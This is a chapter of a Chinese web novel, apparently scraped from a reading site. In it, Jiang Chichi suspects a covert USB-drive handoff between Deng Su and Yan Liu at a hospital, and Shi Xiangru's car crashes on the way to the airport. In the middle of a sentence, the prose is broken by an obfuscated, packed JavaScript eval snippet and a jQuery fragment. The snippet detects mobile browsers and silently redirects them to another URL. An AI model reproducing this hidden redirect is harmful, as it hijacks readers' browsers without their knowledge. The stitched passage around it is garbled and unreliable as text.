“迟迟...迟迟?!”
江迟迟回过神来,杨嫂叫她,“你能吃辣吗?”
“噢,不太能吃。”
“行,那我们找家清淡点的馆子。”
再偏头时,哪里还有邓肃的影子?
江迟迟随着人流往医院外走,杨嫂张罗的声音滔滔不绝,“要不就这家,南港特色渔家,看着还不错,清淡新鲜,大家都能吃,迟迟你说怎么样?”
“好,我都可以。”
快走到医院大门口,江迟迟只觉得心脏重重一跳,是直觉、是女人的第六感告诉她,有些事不对劲。
“左转再直走三百米就到了,也不远...哎,迟迟,迟迟你去哪儿?!”
女孩儿拔腿往回走,脆生生的声音隐没在人群中,“我有事回医院一趟!杨嫂你们先吃,别等我。”
...
病房前,燕琉送走众人,百无聊赖地躺在病床上玩手机,时不时瞥一眼门口那位人高马大的护工。
自嘲一笑。
真看得起他,还找了个练家子看着他。
南港这群人做事也太谨慎了。
他开了一局游戏,正打到兴头上时,来了条短信。
燕琉立马关了游戏,读完消息,立刻删除。
他幽幽地从枕头下摸了个东西揣进兜里,朝门口的护工扬了扬下巴。
“喂,大哥,我要上厕所。”
护工面无表情的点头,“我和你一起去。”
燕琉双手插兜,脚步悠闲地穿过走廊,在标着“男卫生间”的门口拐进去。
“哎哎哎,我尿尿你也要看啊,变态!”
燕琉满脸嫌弃,把要跟上来的护工推到门外。
“难道我还能从这儿跳下去?”
23楼,应该不太可能。
护工瞥了一眼里面,空荡荡的小便池前只有一个男人吹着口哨放水。
“那我在门口等。”
眼见着监视他的男人背过身,燕琉悠闲地走到放水的男人旁边,两腿叉开,借着解腰带的动作,飞速地将一个U盘从兜里掏出来,塞进男人敞开的裤子口袋里。
邓肃抖了抖身子,系上裤腰带。
他放完水也不着急走,站得老僧入定,跟闲聊似的开口。
“小伙子怎么年纪轻轻就住院了?身体哪儿不好?”
燕琉眯着眼,“小问题,只不过家里人看得太紧,非要让我看医生。”
“小伙子还在上学吧?生这么大场病不会耽误学习吗?”
“不会,学校的事儿都处理好了。”
邓肃满意地笑笑,“年轻人,加油啊。”
他拍拍燕琉的肩旁,手指摩梭着口袋里的U盘,侧身走出卫生间。
燕琉放完水,提起裤子推开病房门,脚下一滞。
“迟...迟迟姐?你怎么回来了?”
燕琉飞速眨了几下眼睛,轻咳两声,“我以为你们去吃饭了。”
女孩儿向他伸出手,露出掌心握着的小盒子。
“耳机落病房了,我回来取一下。”
她把耳边的碎发撩到脑后,似是不经意间问,“你去哪儿了?刚刚房间里都没人。”
“哦,我上了个厕所。”
“噢...”
江迟迟目光扫向护工,沉默的男人向她递来肯定的眼神。
她攥着刚刚从包里掏出来的耳机,心里疑惑。
难道是她多心了,邓肃出现在医院里完全是巧合,跟燕琉无关?
或许是吧...
她最近被时相儒的事搞得精神高度紧张,甚至有点疑神疑鬼的。
“没事,小燕你好好休息。”
江迟迟推开大门,迎面而来的人群熙熙攘攘,她走进垂直电梯,按下一楼,电梯门即将关时,一个男人匆匆跑来,江迟迟下意识地帮他按住电梯门。
男人冲进电梯,正欲向她道谢,话却卡在喉咙中,“谢...额,江小姐?”
邓肃脸上一闪而过的错愕,“你怎么在这儿?”
江迟迟定定地站在电梯中央,平静开口。
“好巧,邓先生,你来看病吗?”
邓肃整理表情,迅速冷静下来,“不是,我来探望朋友。”
“哦,邓先生的朋友也在康复科?”
23楼只有康复科的病房,燕琉就在这一层。
难道邓肃真的是来找燕琉的?
江迟迟面容平静,心却跳得飞快,似乎有什么真相就在她的胸口,呼之欲出。
邓肃却笑着摇头。
“我朋友在肿瘤科,28楼。我刚跟他聊完,在电梯里准备回去的时候突然想上厕所,就找了个最近的电梯下了。”
电梯飞速下降,失重感从脚底袭上全身。
江迟迟和邓肃,一左一右,一前一后地站着,视线在反光的电梯门中交会。
她不动声色地打量着镜子中的男人。
邓肃莫约三十多岁,穿着一套休闲运动装,身材保持得不错,小幅平坦。衣服的裤口和胸前都有某个品牌的标识,江迟迟不会读那串复杂的法语,但她大致知道那不是个平价的牌子。
他左手戴着一只腕表,成色不错。
至少第一眼看上去,他还算是个小有积蓄、体面大方的男人,即便是两次接触下来,他也彬彬有礼,谈吐得体。
如果不是这次偶然在医院遇见他,江迟迟觉得,自己不会把他和“坏人”这两个词联系在一起。
但人不可貌相。
在江迟迟打量邓肃的同时,男人也在盯着她。
今天纯属偶遇,邓肃也没想到会在医院遇见江迟迟,他随口胡诌了一个理由,不知道能不能瞒过她。
他手指下意识地摩挲着口袋里的U盘,像在盘一件保命符。
电梯里陷入诡异的安静氛围,正当邓肃以为对话就此结束时,女孩儿忽地开口。
“肿瘤科?正巧我有位亲戚在这儿工作,你朋友叫什么名字,我让她额外关照一下。”
她清脆的声音回荡在电梯间,眼神沉静,盯得邓肃头皮发麻。
他当然说不出名字,只好感激一笑。
“这多不好意思,其实...我朋友快出院了,劳江小姐费心。”
他巧妙地把问题推了回去,“江小姐也是来医院看望朋友?”
江迟迟不顺着他的话说,“算是吧...对了,您之前说在一家新媒体工作,哪家媒体?我去点个关注,支持一下。”
邓肃念出一个名字。
“叮咚”,一楼到了,女孩儿朝他礼貌点头,抬腿毫不犹豫地朝外走。
站在医院门口的暖阳中,江迟迟找到邓肃口中这家媒体的联系方式,一个电话拨过去,核查他的信息。
挂断电话,江迟迟脑袋发懵。
好像...他真的只是个普通记者?
工作人员说,邓肃的确是他们的员工,并且最近正在南方采访,和邓肃的行径吻合。
她不信邪,又在网上搜了几篇邓肃的报道,看着很专业。
医院门前人流熙攘,无数陌生人从她眼前匆匆而过,投下斑驳不清的背影。
这一瞬,她站在七月的烈阳下,却觉得浑身发冷。
猜疑埋下一颗种子,从她的胸腔中发芽,逐渐长成大树。
遮住阳光,将她的心底沁得一片冰凉。
她闭着眼,缓缓吐出一口浊气。
手机震动,江迟迟定了定神,解锁查看。
是时相儒。
“我在去机场的路上,下午落地南港,晚上见。”
她咬着下唇,郁闷地合上手机。
算了,不想了,吃饭要紧。
江迟迟把这些乱七八糟的思绪抛到脑后。
...
时相儒盯着手机半晌,也没等来对面回复的只言片语。
哪怕回个“知道了”也好。
她是真的生气了。
男人黑眸里闪过一丝慌乱,很快被他压下去。
没事没事,只要他好好解释,再低头撒个娇、服个软,江迟迟肯定会原谅他。
他知道,她最吃这一套了。
何泰阳一边开车,一边偷瞄时相儒的表情。
看他脸臭成那样,八成又跟江迟迟闹矛盾了。
何泰阳握着方向盘,心里直打鼓。
不会是迟迟骗他的事情被他发现了吧?
真特么糟心,这事儿就像悬在他头顶的达摩克利
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314060|161146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斯之剑,一天不解决,何泰阳就怕他知道真相的那天会发疯。
不行不行,无论如何得拖到《暮光曙天》更新完才行!
何泰阳纠结了好一会儿,才试探着开口。
“儒哥,最近小说写得怎么样?有灵感不?”
估计江迟迟真的不会回他消息,时相儒“啧”一声,把手机扔回口袋,表情恹恹。
“嗯,还行吧。”
他掀起眼皮,瞥了一眼何泰阳,语气有些蔫。
“上次让你查的事情怎么样了,那个联系燕琉的号码是谁的?”
何泰阳:“...没查到,那个号码已经注销了。”
行吧。这条线索又断了。
“那你继续找人跟着时斌,他后面肯定还会有小动作。”
何泰阳赶紧说,“那当然,我刚刚已经吩咐下去了。”
“嗯。”
时相儒靠在副驾椅子上,眼神散漫地瞟着窗外不断后退的风景。
“还有个事儿。”
他疲惫开口,“明天差不多就要更新木珺假死的情节了,你盯着点舆论,别让他们带节奏。”
何泰阳:“没问题,放心吧儒哥。”
连载三四年的小说女主被写死,肯定有很多读者都接受不了,但官方又不能明着说“她是假死啊”,只能暗戳戳地带带节奏,过滤过激评论,争取消除大部分粉丝的负面情绪。
树大招风,现在不知道有多少双嫉妒的眼睛盯着《暮光曙天》,越是现在这个时候,他们越是要谨慎。
这都是何泰阳的看家本事,属于基操,他不用担心。
“前方一百米向右前方行驶,往机场方向,下高速。”
何泰阳猛地回过神来,急急忙忙向右打转向并道。
“嘀!嘀!嘀!”
一阵猛烈而激愤的鸣笛声从右后方迅速掠近,何泰阳倏地扭头看向后视镜,一辆黑色越野车闪着灯疾驰而来。
“卧槽——”
“砰!”
男人的惊叫被巨大的撞击声吞没。
高架桥上缓缓升起黑烟,遮蔽天日。
...
“迟迟姐,我们先走啦。”
南港的码头前,杨秋池几人挥着手向她告别,踏上回岛的轮渡。
江迟迟目送那艘船离港,直到那个小黑点消失在天际线中。
她找了个候船厅最显眼的位置,坐下。
人流来来往往,周末来南港玩的清洲岛民陆续回来,见到江迟迟坐在候船厅,纷纷上前打招呼。
“迟迟,一个人啊!”
“看这架势是在等人?”
“呦,等对象呢?”
江迟迟眉眼弯弯,礼貌地笑着点头。
太阳慢悠悠地朝西挪,候船厅逐渐拥挤,江迟迟周围坐满归港的人,三五成群,叽叽喳喳地讨论着周末发生的新鲜事。
一片喧闹声中,女孩儿独自坐立,垂着眸子,点亮手机。
算算时间,时相儒应该已经下飞机了。
“由南港开往清洲岛的轮船开始检票,请旅客自觉排队候船。”
人群一阵骚动,像组织有度的工蚁,缓缓朝着检票口腾挪。
江迟迟坐在原地,抬眼看向入口,依旧找不到那抹熟悉的身影。
他长得人高马大、气度不凡,在人群里那么显眼,她肯定不会错过。
怎么还没来?
“各位旅客请注意,由南港开往清洲岛的轮渡即将在五分钟后离港。此班轮渡为今日最后一班轮渡,请各位旅客抓紧时间登船。”
一阵风吹过,岸边的落叶漫天飞舞,卷起海面层层涟漪,耳边喧闹声远去,像被拉长的一帧,逐渐退出她的视野。
手机空空如也,平稳地躺在她手中。
时相儒没来短信,也没回南港。
...
“迟迟,迟迟!船马上就要开了,快上来!”
轮渡口的工作人员催促着,江迟迟不死心,攥紧手机,指甲几乎要嵌进钢化膜。
她望向候船厅——
空空荡荡,门可罗雀,只有被风卷起的几片残叶凄凄凉凉地飘着。
江迟迟意识到。
他今天不会回来了。